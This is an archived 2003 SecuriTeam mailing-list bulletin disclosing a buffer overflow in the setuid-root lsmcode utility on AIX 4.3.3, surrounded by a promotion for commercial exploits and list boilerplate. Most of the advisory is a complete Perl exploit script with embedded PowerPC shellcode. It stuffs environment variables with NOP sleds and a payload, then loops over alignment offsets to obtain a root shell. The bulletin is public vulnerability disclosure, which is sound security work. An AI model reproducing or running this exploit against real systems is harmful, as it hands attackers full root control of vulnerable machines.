[EXPL] Exploit Code Release for lsmcode Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 06/11/03

  • Next message: SecuriTeam: "[EXPL] Exploit Code Released for errpt"
    To: list@securiteam.com
    Date: 11 Jun 2003 19:06:36 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Latest attack techniques.

    You're a pen tester, but is google.com still your R&D team?
    Now you can get trustworthy commercial-grade exploits and the latest
    techniques from a world-class research group.

    Learn more at http://www.coresecurity.com/promos/sit_e1,
    or call 617-399-6980

    - - - - - - - - -

      Exploit Code Release for lsmcode Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    The lsmcode program, a utility that allows viewing of all Microcode
    levels, contains vulnerability that allows local attackers to overflow its
    internal buffer, since its setuid root, elevated privileges can be gained.

    DETAILS

    Exploit:
    #!/usr/bin/perl
    # FileName: x_lsmcode_aix4x.pl
    # Exploit lsmcode of Aix4.3.3 to get a uid=0 shell.
    # Tested : on Aix4.3.3.Mybe can work on other versions.
    # Author : watercloud@xfocus.org
    # Site : www.xfocus.org www.xfocus.net
    # Date : 2003-6-1
    # Announce: use as your owner risk!

    $CMD="/usr/sbin/lsmcode";
    $_=`/usr/bin/oslevel`;

    $XID="\x03";
    $UID="\x97";
    print "\n\nExploit $CMD for Aix 4.3.3 to get uid=0 shell.\n";
    print "From: [ www.xfocus.org 2003-6-1 ].\n\n";

    $NOP="\x7c\xa5\x2a\x79"x800;
    %ENV=();

    $ENV{CCC}="A" .$NOP.&getshell($XID,$UID);
    $ENV{DIAGNOSTICS}="\x2f\xf2\x2a\x2f"x300;
    $ret = system $CMD ,"-d","a";

    for($i=0;$i<4 && $ret;$i++){
      for($j=0;$j<4 && $ret;$j++) {
        $ENV{CCC}="A"x $i .$NOP.&getshell($XID,$UID);
        $ENV{DIAGNOSTICS}="A"x $j ."\x2f\xf2\x2a\x2f"x300;
        $ret = system $CMD ,"-d","a";
      }
    }

    #sub
    sub getshell($XID,$GID) {
      my $SHELL,($XID,$GID)=@_;
      $SHELL="\x7e\x94\xa2\x79\x7e\x84\xa3\x78\x40\x82\xff\xfd";
      $SHELL.="\x7e\xa8\x02\xa6\x3a\xb5\x01\x40\x88\x55\xfe\xe0";
      $SHELL.="\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
      $SHELL.="\x4c\xc6\x33\x42\x44\xff\xff\x02$GID$XID\xff\xff";
      $SHELL.="\x38\x75\xff\x04\x38\x95\xff\x0c\x7e\x85\xa3\x78";
      $SHELL.="\x90\x75\xff\x0c\x92\x95\xff\x10\x88\x55\xfe\xe1";
      $SHELL.="\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh\xff";
      return $SHELL;
    }
    #EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:watercloud@xfocus.org>
    watercloud.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Exploit Code Released for errpt"

    Relevant Pages